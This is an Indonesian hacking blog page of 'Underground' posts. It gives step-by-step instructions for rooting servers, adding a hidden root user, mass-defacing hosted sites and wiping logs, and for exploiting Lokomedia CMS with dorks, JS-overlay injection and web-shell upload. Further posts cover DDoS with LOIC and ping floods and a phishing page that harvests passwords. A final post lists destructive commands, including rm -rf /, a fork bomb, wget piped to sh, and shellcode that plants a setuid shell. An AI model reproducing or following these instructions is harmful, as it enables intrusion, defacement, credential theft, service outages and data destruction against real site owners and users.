Total Pageviews

Blog Archive

Powered by Blogger.
Showing posts with label Underground. Show all posts

  • rooting - manual mass defacing (black Buntu)

    By : Unknown

    0 Comment
     Anak baru numpang posting yah,. ok langsung aja yah ga usah pake basa basi,.
    pertama kmu backconect dlu ke shell mu,. terserah mau pke apa keq,. nc atau bind shell,. disni aku make bind shell,.
    comand2'a, lihat aja di gambar,..
    [Image: Screenshot.png]

    setelah check kernel n segala macem'a,.. kmu upload localroot yg pas sama kernel di shell mu,. trus kasih chmod 777 di tuh local,
    [Image: Screenshot-1.png]

    tggal jalanin deh local yg sdah kmu upload tadi,.
    [Image: Screenshot-2.png]
    klo berhasil ke root, mka id'a berubah, sperti gambar yg di atas,.

    tahap akhir'a,. tggal add usermu aja distu,.
    [Image: Screenshot-3.png]

    klo udah berhasil,. jadi'a kek gini
    [Image: Screenshot-4.png]

    penjelasan'a,..

    PHP Code:
    adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M ftp-user
    adduser     = comand untuk nambahin user-u 0 -o = set user jadi dngn ID nol (0) root.
    -    g 0 = set initial group dengan ID nol (0) root.
    -    G 0,1,2,3,4,6,10 = set additional group ke:0 = root
    1     = bin
    2     = daemon
    3     = sys
    4     = adm
    6     = disk
    10     = wheel-M – ‘home directory’ tidak di create ke user.ftp-user = username dri user yg mau dipke 

    sekrang apa lagi,.??
    ya terserah mau kalian apakan,. ntah itu mau di jual, mau di pke sndri, atau mau di deface,.
    klo mau di deface, kita lanjut lagi,. :D

    login di putty dan masukan ip server dan port yang mau kita mass deface,..
    [Image: 52fe6d4c3f5f4e5fa6271db.png]

    sekarang kita masuk ke "etc/httpd/conf" untuk mengambil semua nama website n user yang ada di sever.. kita masukan comand berikut :
    PHP Code:
    cd /etc/httpd/conf 

    setelah itu kita ambil semua nama web yg ada di server dan mengcopy'a di shell kita dengan nama "web.txt" (terserah sih mau pke nama apa)
    comand'a :
    PHP Code:
    cat httpd.conf | grep -i ServerName > /home/NamaUser/public_html/web.txt 
    untuk NamaUser, klian bisa lihat di shell kalian masing2...

    [Image: HdghNpj.png]

    sekarang kita ambil lagi nama2 user'a, kemudian copy semua user yg ada di dalam user.txt ke notepad..
    comand'a :
    PHP Code:
    cat httpd.conf | grep -i DocumentRoot > /home/NamaUser/public_html/user.txt 

    [Image: 88f8750f45984456a704565.png]

    setelah itu kita kembali ke dir root, dan buat dir baru (terserah mau pke nama dir apa, disini saya pke nama dir bie) dan kita masuk ke dir baru yg kita buat itu, dan kita download deface page kita ke dalam dir yg baru kita buat itu,..
    comand'a :
    PHP Code:
    cd /root; mkdir bie; cd bie
    wget http    ://blablabla.com/deface.html 
    [Image: 0OSGSIS.png]

    ok,. kita sudah pnya deface page, sekarang kita buat file mass.sh kita dulu,..
    ganti semua tulisan "DocumentRoot" dengan "cp defacepage.html" disni yg perlu kita perhatikan, bila kita mau taruh file deface kita di index, mka kita menggunakan "cp index.html" bila gak, klian bisa mengganti'a dengan nama file yg lain,.. disini aku pke "bie.htm"
    [Image: qm0DEhe.png]

    kemudian kembali ke putty kita, ketik comand "nano mass.sh" lalu copas semua nama users yg sudah kita ganti tadi, setelah itu ketik control "o", enter, trus control "x" untuk kmbali,..
    setelah itu kita berikan perm 777 pada mass.sh kita, lalu jalankan mass.sh kita
    PHP Code:
    chmod 777 mass.sh; ./mass.sh 
    [Image: 68beffb40e24488ba47018b.png]

    yep,.. selese mass deface'a,..
    sekarang kembali ke dir root, lalu hapus dir baru yang kalian bikin tadi
    lalu jalankan log cleaner kalian, trus exit.. :)
    [Image: 1Jv4i7e.png]

    log cleaner bisa klian dapet dsini : http://pastebin.com/Csfw9BrY
    cara pke'a :
    1. Copy source log cleaner'a di notepad lalu save dengan nama remove.c trus perhatikan
    [Image: bHx73vo.png]

    Harap diingat bahwa tidak selalu file2 wtmp utmp dan lastlog berada pada posisi yang sama jadi jangan lupa cek apakah posisi file2 wtmp utmp dan lastlog sudah sesuai dengan source remove.c log'a atau belum,..
    Kamu bisa gunakan perintah untuk mencari dima posisi2 file wtmp utmp dan lastlog :
    PHP Code:
    find / -name wtmp -printfind / -name utmp -printfind / -name lastlog -printatau
    whereis wtmp
    whereis utmp
    whereis lastlog 


    Kemudian ganti posisi file2 tersebut di remove.c yg sudah kamu save di notepad tadi sesuai dengan hasil diatas,..

    2. Setelah kita rubah, upload ke server / site yg sudah kita root tadi,. saat'a kita compile,. atau bisa jga sekalian compile di desktop (bagi pengguna linux)
    PHP Code:
    gcc remove.c -o remove -DGENERIC
    remove    .c: In function `main':
    remove.c:50: warning: return type of     `main' is not `int'/tmp/ccZVzySI.o: In function `main':
    /tmp/ccZVzySI.o(.text+0xb4): the     `gets' function is dangerous and should
    not be used. 
    dan terakhir kita jalankan remove'a,. :)
    PHP Code:
    ./remove namarootuser 

    trus tggal masukin pilihan'a,.. :)
    [Image: 8CITRjF.png]

    terkhir, kita ganti semua tulisan "SeverName" dengan "http://"
    [Image: 312181284964474c9cc8a3f.png]

    Tool :
    shell yg aku pke diatas : http://pastebin.com/0N805eLE
    log cleaner : http://pastebin.com/Csfw9BrY
    NC : http://joncraton.org/media/files/nc111nt.zip
    puttty : http://portableapps.com/apps/internet/putty_portable

    Ps : Tut diatas terdiri dari 2 bagian, tapi saya jadikan satu,. jadi mohon maaf klo kepanjangan,.. :D
    untuk weduser (windows user), sama aja koq kyak di atas comand2'a,.. gak jauh beda...
    paling beda'a klo di windows pas mau gunain nc'a doank,.
    harus masuk di dir nc dlu kan bru bisa gunain bind atau mau back conect...
    dah gtu aja,.. moga berguna yah,.. :)

    credit : my best teacher Google

  • Deface Lokomedia Dengan JS Overlay dan Shell

    By : Unknown

    0 Comment
    Tutorial kali ini saya akan membahas tentang deface web dengan JS Overlay dan Nanem Shell di Web, kalo buat sesepuh mahh udah lewat ajaa :D

    Langsung aja ke tutorial

    Dork yang sering saya pakai buat Cari Lokomedia
    inurl:/media.php?module=berita
    inurl:/admin/foto_berita
    inurl:/admin/content.php?module=user
    inurl:/adminweb/

    1.Search Google Pakai Dork Diatas

    2. Kalo ketemu langsung aja ke exploit
    http://site/admin/content.php?module=user

    3. Kalo Muncul Kaya begini
    [Image: 2rnddll.png]

    berarti belum di patch tuh ama adminnya Sleepy saatnya kesempatan kita

    4. Langsung aja Klik Pilihan Edit
    nanti akan jadi kayak gini
    [Image: 2mnnjn8.png]
    Edit Sesuka hati anda, lalu klik save, Nanti akan otomatis disuruh login lalu login pakai ID & Pass yang sudah diganti tadi..

    5. Kalo udah muncul kayak gini, terus di gmana'in ?
    [Image: wj7whl.jpg]
    Tinggal di Deface, Caranya? bisa pakai cara JS Overlay atau Tanem Shell


    Berikut Tutorialnya

    JS Overlay

    Buat dulu file JS atau apa pada website anda, bisa pakai site gratisan atau site yang sudah anda tanem shell

    terus buat file misalkan devilscream.js
    lalu isikan Script berikut

    http://newbie-security.or.id/code/js-overlay.txt


    Nah, biar Web Lokomedianya ke deface gmana?

    Pada CMS Lokomedia masuk ke Menu Berita.
    Kalo gak ada pilihan menu berita langsung ke URL

    http://site/admin/media.php?module=berita

    Kalo kagak bisa yah kagak bisa Dodgy

    Lalu klik Add New Berita

    Pada Bagian judul masukan Script berikut :
    Code:
    http://situs-anda-menyimpan-file-js-overlay/devilscream.js

    Isi atau lainnya gak usah di isi gak apa-apa

    Setelah itu save, percuma kalo gak di save Dodgy

    Tanem Shell

    Masuk ke Bagian menu Banner kalo gak ada juga pake URL http://site/admin/media.php?module=banner
    kalo gak bisa juga yah emang nasib Dodgy

    Atau gak cari Menu yang bisa upload file
    [Image: 10i9nrp.jpg]

    Setelah itu Klik AddNews

    Pada Bagian Browse File Pilih Shell Kalian, yang lainnya gak usah diisi..

    [Image: 2ikwcya.jpg]


    Setelah di Upload masukin URL kaya gini
    http://site/admin/foto_berita/nama_shell.php

    kalau misalkan anda bukan di banner uploadnya
    biasanya berada di http://site/files/nama_shell.php

    Nah setelah itu Oprek deh Websitenya


    Mungkin hanya itu tutorial saya, kalo ada salah maaf ya Cool

    Thanks buat : BagsFreak untuk script JS-Overlay nya Big Grin

    Sekian dan terima kasih...

    SUMBER : Newbie Security

  • pngertian DDOS

    By : Unknown

    0 Comment
    oke kali ini saya akan membahas tentang pengertian ddos dan cara penggunaan'a =)) karna barusan ada yg menanyakan apa itu ddos =)) langsung to the point aja

    apa sih DDOS itu?
    Serangan DDOS ( Denial Distribute of services ) Attack, mungkin adalah serangan yang paling simple di lakukan namun efeknya sangat berbahaya.
    Situs-situs besar seperti yahoo.com , ebay.com , hotmail.com, e-gold.com , 2checkout.com dan lain-lain pernah mengalami serangan yang mengakibatkan situs nya tidak bisa di akses selama beberapa jam.

    Yang terbaru adalah situs e-gold.com pada tahun 2005 kemarin, situs nya di serang dengan memakai metode DDOS ( Denial Distribute of services ).

    Bagaimana cara kerja DDOS ?

    Jika Anda memakai program windows , coba lakukan ini di komputer Anda.

    1. Start , Programs , Accessories , Command Prompt
    2. Kemudian di Command prompt ketikan , Ping -t http://www.situsyangdituju.com

    atau bisa juga Start, Run , Ping -t http://www.situsyangdituju.com

    Kemudian komputer Anda akan mengirimkan paket informasi ke situs yang di tuju tadi, pada dasarnya dengan perintah tersebut komputer Anda mengirimkan ucapan "Halo , apa ada orang di situ ? " , ke situs yang di tuju tadi. kemudian server situs yang di tuju tadi mengirimkan jawaban balik dengan mengatakan : "ya, di sini ada orang"

    Sekarang bayangkan, jika ada ribuan komputer, dalam waktu bersamaan melakukan perintah tersebut di situs yang di tuju. 1 komputer mengirimkan data sebesar 32 bytes / detik ke situs yang di tuju. Jika ada 10.000 komputer yang melakukan perintah tersebut secara bersamaan, itu artinya ada kiriman data sebesar 312 Mega Bytes/ detik yang di terima oleh situs yang di tuju tadi.

    Dan server dari situs yang di tuju tadi pun harus merespon kiriman yang di kirim dari 10.000 komputer secara bersamaan. Jika 312 MB/ detik data yang harus di proses oleh server, dalam 1 menit saja, server harus memproses kiriman data sebesar 312 MB x 60 detik = 18720 MB. Bisa di tebak, situs yang di serang dengan metode ini akan mengalami Over Load / kelebihan data, dan tidak sanggup memproses kiriman data yang datang.

    Pertanyaan nya , bagaimana 10.000 komputer tersebut bisa ikut melakukan serangan?

    Komputer-komputer lain yang ikut melakukan serangan tersebut di sebut komputer zombie, dimana sudah terinfeksi semacam adware. jadi si Penyerang hanya memerintahkan komputer utamanya untuk mengirimkan perintah ke komputer zombie yang sudah terinfeksi agar melakukan Ping ke situs yang di tuju. Oleh karena itu pentingnya ada firewall di komputer anda, untuk memonitor paket yang keluar maupun yang masuk dari komputer anda.
    Jika anda belum memiliki firewall bisa coba zone alarm, silahkan download KLIK DI SINI
    Adware biasanya di dapat dari program-program gratisan yang anda download, untuk itu juga harus berhati-hati mendownload program gratisan.

    Bagaimana jika ada situs yang mengklaim situsnya sedang di serang , bagaimana kita tahu itu benar atau bohong ?

    Bisa kita lakukan analisa untuk mendeteksi benar atau tidaknya serangan tersebut terjadi, atau hanya mengaku-ngaku saja.

    Jika anda berkecimpung di dunia Investment semacam HYIP, autosurf , atau pun situs investasi lainnya.

    biasanya sering anda jumpai ada situs yang adminnya bilang situsnya sedang di serang pakai metode DDOS, dan terpaksa harus menutup situs nya, ujung-ujungnya yah admin tersebut melakukan SCAM, atau tidak membayar membernya.

    Berikut tahap-tahap melakukan analisa benar atau tidaknya situs tsb di serang.

    1. Beri Nilai kemampuan finansial dari situs investasi tersebut.
    - Sekarang ini sudah banyak jasa penyedia ANTI DDOS , biaya nya pun cukup mahal yakni berkisar $600 / bulan sampai dengan $1000 / bulan.

    sekarang anda nilai situs tersebut, apakah mampu membayar jasa tersebut atau tidak. Jika bisnis nya bernilai ratusan ribu dollar , masak sih tidak mau ngeluarin uang $600 / bulan untuk mengamankan situs nya ? Sering anda lihat kan , ada situs investasi yang menulis :

    Total investasi : sekian ratus ribu dollar
    Total Withdrawal : sekian ratus ribu dollar

    Jika benar uangnya sebanyak itu, tentu tidak ragu untuk membayar services ANTI DDOS sebesar $600 / bulan.

    2. Periksa kebenaran.
    Jika situs tersebut mengklaim mereka memiliki dan menyewa services ANTI DDOS, tanyakan di mana mereka menyewanya . biasanya di situs penyedia layanan ANTI DDOS di tulis nama-nama client yang menggunakan atau memakai services mereka.

    3. Periksa hostingnya, apakah menggunakan satu private IP address, atau shared IP address.
    Private IP address artinya = 1 nomor IP untuk 1 domain
    Shared IP address artinya = 1 nomor IP untuk BANYAK DOMAIN.

    sebagai contoh :
    situs semuabisnis.com menggunakan shared IP address. IP untuk domain semuabisnis.com adalah http://75.126.30.10/ dan ada sekitar 14 domain / situs yang menggunakan IP ini , salah satunya adalah ambri-servers.com

    Jadi jika situs semuabisnis.com di serang, maka efeknya akan terasa juga di ambri-servers.com maupun di situs-situs lainnya yang memiliki IP yang sama dengan semuabisnis.com

    Jika semuabisnis.com mengaku di serang, namun anda masih bisa mengakses ambri-servers.com ataupun masih bisa mengakses situs lainnya yang memiliki IP yang sama dengan semuabisnis.com , maka itu tidak benar paling cuma buat gaya-gayaan.. hehehe.

    Begitu juga dengan situs investasi yang mengaku situs nya di serang, coba periksa ip addressnya. menggunakan private IP atau shared IP. jika shared IP, coba periksa situs lainnya yang memiliki IP
    yang sama dengan situs investasi tersebut. apakah situs lainnya masih bisa di akses atau tidak.

    Jika seseorang melakukan serangan ke semuabisnis.com , maka yang tidak bisa di akses bukan hanya situs semuabisnis.com melainkan situs-situs lainnya yang memiliki IP address yang sama akan mengalami overload juga.

    Untuk mengecek dia menggunakan Shared hosting atau tidak, lakukan ini.

    PING -t situsyangdituju.com

    kemudian catat no ip.yg muncul di command prompt.
    Setelah itu periksa ip tersebut di http://whois.webhosting.info/no IP jika hanya muncul satu domain, maka IP tersebut khusus untuk 1 domain ( private IP )
    Jika banyak nama-nama situs yang muncul, maka IP tersebut adalah 1 IP untuk banyak domain ( shared IP )

    Cara Melakukan DDoS Attack

    serangan ini tidka dapat dicegah karena memang keroyokan alias ya berdo’a saja supaya situs kita tidak down akibat kena serangan DDoS Attack. ada pun cara untuk melakukan DDoS Attack sangat-sangat mudah, bahkan anak SMP pun bisa melakukanya. untuk mereka yang menggunakan OS Windows dapat menggunakan dua cara. cara pertama adalah dengan menggunakan software bernama Low Orbit Ion Cannon.(308 kb)program ini tidak perlu diinstall cukup jalankan seperti program portable lainya.
    1. Jalankan program
    2. Setelah muncul Jendela di bagian URL masukan situs yang ingin diserang misalkan http://www.coba.com, lalu klik lock on
    3. setelah itu klik tombol IMMA CHARGIN MAH LAZER
    4. silakan lihat hasilnya dibawah, disana terdapat keterangan berapa jumlah packet yang connecting, requesting, downloading, downloaded, requested dan failed.
    5. jika berhasil berarti berarti pada bagian yang failed seharusnya banyak , yang menandakan bahwa server telah down.
    [Image: zxzy.jpg]
    cara kedua adalah dengan membanjiri Ping melalui command promt alias CMD. buka start->run dan ketikan cmd, atau tekan kombinasi tombol Windows + R dan ketik cmd, kemudian enter. setelah jendela Command Prompt muncul ketikan
    #ping target.com
    setelah itu akan muncul nomor ip dari situs tersebut, anggaplah nomor ip adalah 192.168.1.1, kemudian saatnya melakukan serangan ke sistem server hosting target.com.
    #ping 192.168.1.1 -l 39999 -n 10000000 -w 0.00001
    yang berarti :
    n = besarnya Ping , nilai “10000000″ silakan diubah sesuai dengan yang diinginkan .
    192.168.1.1= ganti alamat ip dari situs target.com
    -W 0,00001 = Ini adalah periode waktu tunggu antar satu ping.
    dua cara tadi jika anda di windows, bagaimana jika di linux, hal ini jauh lebih mudah untuk dilakukan tapi hal pertama yang harus dimiliki adalah hak sebagai root. silakan ketika command ini di terminal linux.
    #sudo ping -f 192.168.1.1
    system akan melakukan ping sebanyak yang bisa dibuat, biasanya 10.000/menit, jika respondnya adalah Host Unreachable dll, berarti system telah down. untuk alamat 192.168.1.1 silakan ganti dengan alamat ip situs target.com.
    Selamat mencoba dan Try With Yout Own Risk.
    you know me ? i'am newbie =))
    jadi newbie itu gampang , tapi susah dijalanin =))

  • Membuat Web Phising

    By : Unknown

    0 Comment
    Baca Sampe Selesai gan !! What-the

    -First Buat akun Idhostinger dloo
    -Kalo udah,langsung ke tab domain,trus buat akun baru
    [Image: 9TTBqrP.png]

    -udah ? beneran ? trus pilih kelola

    << Download Here >>
    download dulu

    kalo lu udh bikin Cari Tulisan Kelola Trus Klik tuh ..
    cari tulisan File Manager 3
    cari tulisan Upload,upload tuh file yang tadi lu download.

    dan saatnya mencari trget,bilang aja kalo itu autolike lah ato apalah,auto follow lah (twitter)

    untuk lihat Hasilnya, Para Gay cukup melihatnya dengan menambahkan Password.txt setelah link sobat! Contoh: http://sitesobat/password.txt

    nb : bisa buat twitter,gemscool,dll

  • Cara Melihat Email facebook

    By : Unknown

    0 Comment
    gimana caranya liat email facebook temen kita?? Bingung
    Bagi yang belum tau.
    Ane share trik nya..

    [-] Follow Twitter TS
    [-] Buka yahoo
    [-] login pake email mu
    [-] klo sudah masuk pilih kontak
    [Image: od8.png]
    [-] Klik Impor
    [Image: vTKA3Ja.png]
    [-] Pilih Facebook
    [Image: kjpm.png]
    [-] Klik Oke
    [Image: 6xIR7pV.png]
    [-] Tunggu Sampai proses selese, klik "Selesai"
    [Image: tnO50hm.png]
    [-] Tunggu loading..
    [Image: lmr6Pvs.png]

    Selesai

  • 7 Linux command

    By : Unknown

    0 Comment

    First command:
    • rm -rf / #with root privilege such as 'sudo'
    This command will delete your entire files on mounted devices!
    ........................................................

    Second command:
    • char esp[] __attribute__ ((section(".text"))) /* e.s.p
    • release */
    • = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    • "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    • "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    • "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    • "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    • "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    • "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    • "cp -p /bin/sh /tmp/.beyond; chmod 4755
    • /tmp/.beyond;";
    Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.
    ........................................................

    Third command:

    • mkfs.ext3 /dev/sda

    This command will format your /dev/sda device and of course will delete all files on it.
    ........................................................

    Fourth command:

    • :(){:|:&};:

    Will run too many processes on your system and causes the computer hang up!
    ........................................................

    Fifth command:

    • any_command > /dev/sda

    Will write a raw data and all files on /dev/sda will be replaced by the raw data.
    ........................................................

    Sixth command:

    • wget http://trap_source -O- | sh

    Wil download a shell script from untrusted source and run it when the download finished.
    ........................................................

    Seventh command:

    • mv /home/username/* /dev/null

    Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.
    ........................................................

    So be careful and do a check before running such commands on your system.
    • Subscribe to: Posts (Atom)

    Copyright © 2013 - Nisekoi - All Right Reserved

    X ZoneTechno Powered by Blogger - Designed by Johanes Djogan